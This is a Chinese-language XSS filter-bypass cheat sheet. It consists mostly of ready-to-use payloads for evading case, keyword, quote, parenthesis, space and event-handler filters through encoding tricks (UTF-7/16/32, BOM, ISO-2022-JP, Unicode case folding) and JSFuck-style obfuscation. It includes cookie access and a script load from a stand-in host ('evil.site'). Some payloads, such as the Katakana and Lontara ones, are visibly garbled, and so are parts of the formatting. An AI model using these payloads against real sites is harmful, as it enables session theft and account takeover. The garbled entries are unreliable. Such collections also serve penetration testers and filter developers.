跳转至

XSS 过滤器绕过 (XSS Filter Bypass)

摘要 (Summary)

绕过大小写敏感 (Bypass Case Sensitive)

要绕过对大小写敏感的 XSS 过滤器,您可以尝试在标签或函数名中混用大写和小写字母。

<sCrIpt>alert(1)</ScRipt>
<ScrIPt>alert(1)</ScRipT>

由于许多 XSS 过滤器只能识别纯小写或纯大写的模式,这种方法有时可以通过欺骗简单的过滤器来规避检测。

绕过标签黑名单 (Bypass Tag Blacklist)

<script x>
<script x>alert('XSS')<script y>

通过代码执行绕过关键词黑名单 (Bypass Word Blacklist with Code Evaluation)

eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;

利用不完整的 HTML 标签绕过 (Bypass with Incomplete HTML Tag)

适用于 IE/Firefox/Chrome/Safari

<img src='1' onerror='alert(0)' <

绕过字符串引号限制 (Bypass Quotes for String)

String.fromCharCode(88,83,83)

在 Script 标签中绕过引号 (Bypass Quotes in Script Tag)

http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
  <script>
    <?php echo 'foo="text '.$_GET['test'].'";';?>
  </script>
</html>

在 Mousedown 事件中绕过引号 (Bypass Quotes in Mousedown Event)

onmousedown 事件处理器中,您可以使用 &#39; 来绕过单引号。

<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">链接</a>

绕过点号 (.) 过滤 (Bypass Dot Filter)

<script>window['alert'](document['domain'])</script>

将 IP 地址转换为十进制格式:例如 http://192.168.1.1 == http://3232235777

<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>

使用 Linux 命令对您的 XSS 载荷进行 Base64 编码:例如 echo -n "alert(document.cookie)" | base64 == YWxlcnQoZG9jdW1lbnQuY29va2llKQ==

绕过字符串括号限制 (Bypass Parenthesis for String)

alert`1`
setTimeout`alert\u0028document.domain\u0029`;

绕过括号和分号 (Bypass Parenthesis and Semi Colon)

  • 来自 @garethheyes

    <script>onerror=alert;throw 1337</script>
    <script>{onerror=alert}throw 1337</script>
    <script>throw onerror=alert,'some string',123,'haha'</script>
    
  • 来自 @terjanq

    <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
    
  • 来自 @cgvwzq

    <script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
    

绕过 onxxxx= 黑名单 (Bypass onxxxx Blacklist)

  • 使用较冷门的标签

    <object onafterscriptexecute=confirm(0)>
    <object onbeforescriptexecute=confirm(0)>
    
  • 使用空字节 / 垂直制表符 / 回车 / 换行来绕过 onxxx= 过滤器

    <img src='1' onerror\x00=alert(0) />
    <img src='1' onerror\x0b=alert(0) />
    <img src='1' onerror\x0d=alert(0) />
    <img src='1' onerror\x0a=alert(0) />
    
  • 使用 '/' 来绕过 onxxx= 过滤器

    <img src='1' onerror/=alert(0) />
    

绕过空格过滤 (Bypass Space Filter)

  • 使用 "/" 绕过空格过滤

    <img/src='1'/onerror=alert(0)>
    
  • 使用 0x0c/^L0x0d/^M0x0a/^J0x09/^I 绕过空格过滤

```html <svg onload = alert(1)

```

```ps1 $ echo "" | xxd 00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c .

## 绕过电子邮件过滤 (Bypass Email Filter)

- [符合 RFC0822 标准](http://sphinx.mythic-beasts.com/~pdw/cgi-bin/emailvalidate)

  ```javascript
  "><svg/onload=confirm(1)>"@x.y
  ```

- [符合 RFC5322 标准](https://0dave.ch/posts/rfc5322-fun/)

  ```javascript
  xss@example.com(<img src='x' onerror='alert(document.location)'>)
  ```

## 绕过 tel 协议过滤 (Bypass Tel URI Filter)

至少有两个 RFC 提到了 `;phone-context=` 描述符:

- [RFC3966 - 电话号码的 tel URI](https://www.ietf.org/rfc/rfc3966.txt)
- [RFC2806 - 电话呼吸呼叫的 URL](https://www.ietf.org/rfc/rfc2806.txt)

```javascript
+330011223344;phone-context=<script>alert(0)</script>

绕过 Document 黑名单 (Bypass Document Blacklist)

<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]

绕过 document.cookie 黑名单 (Bypass document.cookie Blacklist)

这是在 Chrome、Edge 和 Opera 上访问 Cookie 的另一种方式。请将 COOKIE NAME 替换为您想要获取的 Cookie。如果符合您的要求,您还可以研究 getAll() 方法。

window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);});

在字符串内部使用 Javascript 绕过 (Bypass using Javascript Inside a String)

<script>
foo="text </script><script>alert(1)</script>";
</script>

利用替代的重定向方式绕过 (Bypass using an Alternate Way to Redirect)

location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"

利用替代的弹窗执行方式绕过 (Bypass using an Alternate Way to Execute an Alert)

摘自 @brutelogic 的推文。

window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);

摘自 @theMiddle - 使用全局变量

Object.keys() 方法会按循环顺序返回一个包含给定对象所有自有属性名称的数组。这说明我们可以通过其 索引编号而不是函数名称 来访问任何 JavaScript 函数。

c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
// 5

那么调用 alert 就是:

Object.keys(self)[5]
// "alert"
self[Object.keys(self)[5]]("1") // alert("1")

我们可以利用正则 ^a[rel]+t$ 找到 "alert" :

// 在新函数 a() 上绑定函数 alert
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} 

// 然后您可以配合 Object.keys 使用 a()
self[Object.keys(self)[a()]]("1") // alert("1")

一行式 (Oneliner):

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")

摘自 @quanyang 的推文。

prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'

摘自 @404death 的推文。

eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;

利用替代的弹窗触发方式绕过:

var i = document.createElement("iframe");
i.onload = function(){
  i.contentWindow.alert(1);
}
document.appendChild(i);

// 绕过安全措施
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
      var proxy = obj[name];
      obj[name] = function () {
        if (exec_original) {
          return proxy.apply(this, arguments);
        }
      };
      XSSObject.lockdown(obj, name);
  };
XSSObject.proxy(window, 'alert', 'window.alert', false);

无需任何字符绕过 ">" (Bypass ">" using Nothing)

不需要关闭标签,浏览器会尝试自动补全。

<svg onload=alert(1)//

使用 < 和 > 绕过 "<" 和 ">" (Bypass "<" and ">" using < and >)

使用 Unicode 字符 U+FF1CU+FF1E,更多详情请参考 使用 Unicode 绕过 (#bypass-using-unicode)

script/src=//evil.site/poc.js>

使用其他字符绕过 ";" (Bypass ";" using Another Character)

'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';

由于缺少 Charset Header 导致的绕过 (Bypass using Missing Charset Header)

前提条件

  • 服务器返回头缺少 charsetContent-Type: text/html

ISO-2022-JP

ISO-2022-JP 使用转义字符在多个字符集之间进行切换。

转义字符 (Escape) 编码方式 (Encoding)
\x1B (B ASCII
\x1B (J JIS X 0201 1976
\x1B $@ JIS X 0208 1978
\x1B $B JIS X 0208 1983

利使用 代码对照表,我们可以找到在从 ASCII 切换到 JIS X 0201 1976 时会被转换的多个字符。

十六进制 (Hex) ASCII JIS X 0201 1976
0x5c \ ¥
0x7e ~

示例

使用 %1b(J 强制将 ascii 中的 \' 转换为 JIS X 0201 1976 中的 ¥',从而实现对引号的解转义。

载荷:search=%1b(J&lang=en";alert(1)//

使用 HTML 编码绕过 (Bypass using HTML Encoding)

%26%2397;lert(1)
&#97;&#108;&#101;&#114;&#116;
></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>

使用片假名 (Katakana) 绕过

使用 aemkei/Katakana 库。

javascript:([,,,,,]=[]+{},[,,,,,,,,,,]=[!!]+!+.)[=++++++++++][](+++++'(-~ウ)')()

使用楔形文字 (Cuneiform) 绕过

𒀀='',𒉺=!𒀀+𒀀,𒀃=!𒉺+𒀀,𒇺=𒀀+{},𒌐=𒉺[𒀀++],
𒀟=𒉺[𒈫=𒀀],𒀆=++𒈫+𒀀,𒁹=𒇺[𒈫+𒀆],𒉺[𒁹+=𒇺[𒀀]
+(𒉺.𒀃+𒇺)[𒀀]+𒀃[𒀆]+𒌐+𒀟+𒉺[𒈫]+𒁹+𒌐+𒇺[𒀀]
+𒀟][𒁹](𒀃[𒀀]+𒀃[𒈫]+𒉺[𒀆]+𒀟+𒌐+"(𒀀)")()

使用 Lontara 文本绕过

='',=!+,=!+,=+{},=[++],=[=],=+++,=[+],[+=[]+(.+)[]+[]+++[]+++[]+][]([]+[]+[]+++"(ᨆ)")()

关于更多字符集请参考 aem1k.com/aurebesh.js

使用 ECMAScript6 绕过

<script>alert&DiacriticalGrave;1&DiacriticalGrave;</script>

使用八进制编码绕过 (Bypass using Octal encoding)

javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'

使用 Unicode 绕过 (Bypass using Unicode)

此载荷利用 Unicode 转义序列来掩盖 JavaScript 函数。

<script>\u0061\u006C\u0065\u0072\u0074(1)</script>

载荷利用 Unicode 转义序列来表示字符。

Unicode ASCII
\u0061 a
\u006C l
\u0065 e
\u0072 r
\u0074 t

对以下 Unicode 字符也是同样道理。

Unicode (UTF-8 编码) Unicode 名称 ASCII ASCII 名称
\uFF1C (%EF%BC%9C) FULLWIDTH LESS-THAN SIGN < 小于号
\uFF1E (%EF%BC%9E) FULLWIDTH GREATER-THAN SIGN > 大于号
\u02BA (%CA%BA) MODIFIER LETTER DOUBLE PRIME " 双引号
\u02B9 (%CA%B9) MODIFIER LETTER PRIME ' 单引号

一个示例载荷可能是 ʺ><svg onload=alert(/XSS/)>/,URL 编码后的样子如下:

%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/

当 Unicode 字符被转换为另一种大小写时,它们可能会绕过查找特定关键词的过滤器。

Unicode 转换方式 字符
İ (%c4%b0) toLowerCase() i
ı (%c4%b1) toUpperCase() I
ſ (%c5%bf) toUpperCase() S
(%E2%84) toLowerCase() k

以下载荷在转换后会变成合法的 HTML 标签。

<ſvg onload=... >
<ıframe id=x onload=>

使用 UTF-7 绕过

+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-

使用 UTF-8 绕过

< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
" = %CA%BA
' = %CA%B9

使用 UTF-16be 绕过

%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00
\x00<\x00s\x00v\x00g\x00/\x00o\x00n\x00l\x00o\x00a\x00d\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x00)\x00>

使用 UTF-32 绕过

%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

使用 BOM 绕过 (Bypass using BOM)

字节顺序标记 (页面必须以 BOM 字符开头)。 BOM 字符允许您覆盖页面的字符集。

用于 UTF-16 编码的 BOM 字符
大端序 (Big Endian) : 0xFE 0xFF
小端序 (Little Endian) : 0xFF 0xFE
XSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E

用于 UTF-32 编码的 BOM 字符
大端序 (Big Endian) : 0x00 0x00 0xFE 0xFF
小端序 (Little Endian) : 0xFF 0xFE 0x00 0x00
XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

使用 JSfuck 绕过 (Bypass using JSfuck)

使用 jsfuck 绕过

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

参考资料 (References)